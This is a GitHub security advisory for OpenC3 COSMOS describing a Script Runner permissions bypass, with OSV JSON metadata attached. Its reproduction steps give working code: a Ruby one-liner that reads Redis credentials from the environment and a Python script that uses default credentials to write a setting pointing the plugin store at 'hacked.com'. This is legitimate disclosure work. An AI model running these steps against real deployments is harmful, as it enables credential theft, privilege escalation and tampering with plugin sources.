GHSA-2WVH-87G2-89HR
Vulnerability from github – Published: 2026-04-23 14:17 – Updated: 2026-04-23 14:17Vulnerability Type: Execution with Unnecessary Privileges Attack type: Authenticated remote Impact: Data disclosure/manipulation, privilege escalation Affected components: The following docker images: • Openc3inc/openc3-COSMOS-script-runner-api
The Script Runner widget allows users to execute Python and Ruby scripts directly from the openc3-COSMOS-script-runner-api container. Because all the docker containers share a network, users can execute specially crafted scripts to bypass the API permissions check and perform administrative actions, including reading and modifying data inside the Redis database, which can be used to read secrets and change COSMOS settings, as well as read and write to the buckets service, which holds configuration, log, and plugin files. These actions are normally only available from the Admin Console or with administrative privileges. Any user with permission to create and run scripts can connect to any service in the docker network.
Figure 1: Environment variables, including Redis credentials, found in the Script Runner container A Ruby script is used to expose the Redis username, password, hostname, and port. These credentials might also be found from the source code or through a brute-force attack.
Figure 2: A Python script is used to add data to Redis and retrieve the new data
A Python script is then used to create a new entry in the Redis database called openc3__settings_hacked with a key of store_url and a value of http://hacked.com.
Figure 3: The new data found in the Redis database
The new entry was successfully added to the Redis database, as is confirmed by using redis-cli.
The following example shows how an attacker might change the plugin store URL file that is stored in the config bucket.
Figure 4: Uploading file to change the plugin store URL setting
Figure 5: The URL file was successfully changed
Steps To Reproduce
- Run the following Ruby code to find the Redis credentials:
puts `env | grep redis`
- Add the following Python script with the credentials to create a new entry and read it
import redis
import json
import time
r = redis.Redis(
host = 'openc3-redis',
port = 6379,
username = 'openc3',
password = 'openc3password',
decode_responses=True
)
# Save a setting
setting_data = {
'name': 'store_url',
'data': 'http://hacked.com',
'updated_at': time.time_ns()
}
r.hset('openc3__settings_hacked','store_url',json.dumps(setting_data))
print(r.hget('openc3__settings_hacked','store_url'))
Recommendations
• Limit the permissions of the script runner API to prevent lower level users from performing administrative actions
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "openc3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.0.0-rc3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-250"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-23T14:17:53Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "**Vulnerability Type: Execution with Unnecessary Privileges\nAttack type: Authenticated remote\nImpact: Data disclosure/manipulation, privilege escalation\nAffected components: The following docker images:\n\u2022\tOpenc3inc/openc3-COSMOS-script-runner-api**\n\nThe Script Runner widget allows users to execute Python and Ruby scripts directly from the openc3-COSMOS-script-runner-api container. Because all the docker containers share a network, users can execute specially crafted scripts to bypass the API permissions check and perform administrative actions, including reading and modifying data inside the Redis database, which can be used to read secrets and change COSMOS settings, as well as read and write to the buckets service, which holds configuration, log, and plugin files. These actions are normally only available from the Admin Console or with administrative privileges. Any user with permission to create and run scripts can connect to any service in the docker network. \n \n\u003cimg width=\"940\" height=\"473\" alt=\"image\" src=\"https://github.com/user-attachments/assets/bf524163-127d-4349-999b-cefc53d4374d\" /\u003e\n\nFigure 1: Environment variables, including Redis credentials, found in the Script Runner container\nA Ruby script is used to expose the Redis username, password, hostname, and port. These credentials might also be found from the source code or through a brute-force attack.\n \n\u003cimg width=\"940\" height=\"507\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6d3ccad4-949d-4eeb-a5f8-3aca48bbe815\" /\u003e\n\nFigure 2: A Python script is used to add data to Redis and retrieve the new data\nA Python script is then used to create a new entry in the Redis database called `openc3__settings_hacked` with a key of `store_url` and a value of `http://hacked.com`.\n \n\u003cimg width=\"940\" height=\"70\" alt=\"image\" src=\"https://github.com/user-attachments/assets/fcef13be-5416-4627-9c95-617a24674ee0\" /\u003e\n\nFigure 3: The new data found in the Redis database\nThe new entry was successfully added to the Redis database, as is confirmed by using `redis-cli`. \nThe following example shows how an attacker might change the plugin store URL file that is stored in the config bucket.\n \n\u003cimg width=\"940\" height=\"640\" alt=\"image\" src=\"https://github.com/user-attachments/assets/681b4dd6-4b6e-4a91-8480-0c9fbff76ede\" /\u003e\n\nFigure 4: Uploading file to change the plugin store URL setting\n \n\u003cimg width=\"940\" height=\"189\" alt=\"image\" src=\"https://github.com/user-attachments/assets/630db0bb-217e-4205-be1d-e9891516b22f\" /\u003e\n\nFigure 5: The URL file was successfully changed\n###\tSteps To Reproduce\n1.\tRun the following Ruby code to find the Redis credentials:\n```ruby\nputs `env | grep redis`\n```\n3.\tAdd the following Python script with the credentials to create a new entry and read it\n```python\nimport redis\nimport json\nimport time\n\nr = redis.Redis(\n host = \u0027openc3-redis\u0027,\n port = 6379,\n username = \u0027openc3\u0027, \n password = \u0027openc3password\u0027, \n decode_responses=True\n)\n\n# Save a setting\nsetting_data = {\n \u0027name\u0027: \u0027store_url\u0027,\n \u0027data\u0027: \u0027http://hacked.com\u0027,\n \u0027updated_at\u0027: time.time_ns()\n}\nr.hset(\u0027openc3__settings_hacked\u0027,\u0027store_url\u0027,json.dumps(setting_data))\nprint(r.hget(\u0027openc3__settings_hacked\u0027,\u0027store_url\u0027))\n```\n\n###\tRecommendations\n\u2022\tLimit the permissions of the script runner API to prevent lower level users from performing administrative actions",
"id": "GHSA-2wvh-87g2-89hr",
"modified": "2026-04-23T14:17:53Z",
"published": "2026-04-23T14:17:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OpenC3/cosmos/security/advisories/GHSA-2wvh-87g2-89hr"
},
{
"type": "PACKAGE",
"url": "https://github.com/OpenC3/cosmos"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "OpenC3 COSMOS: Permissions Bypass Provides User Access to Unassigned Administrative Actions via Script Runner Tool"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.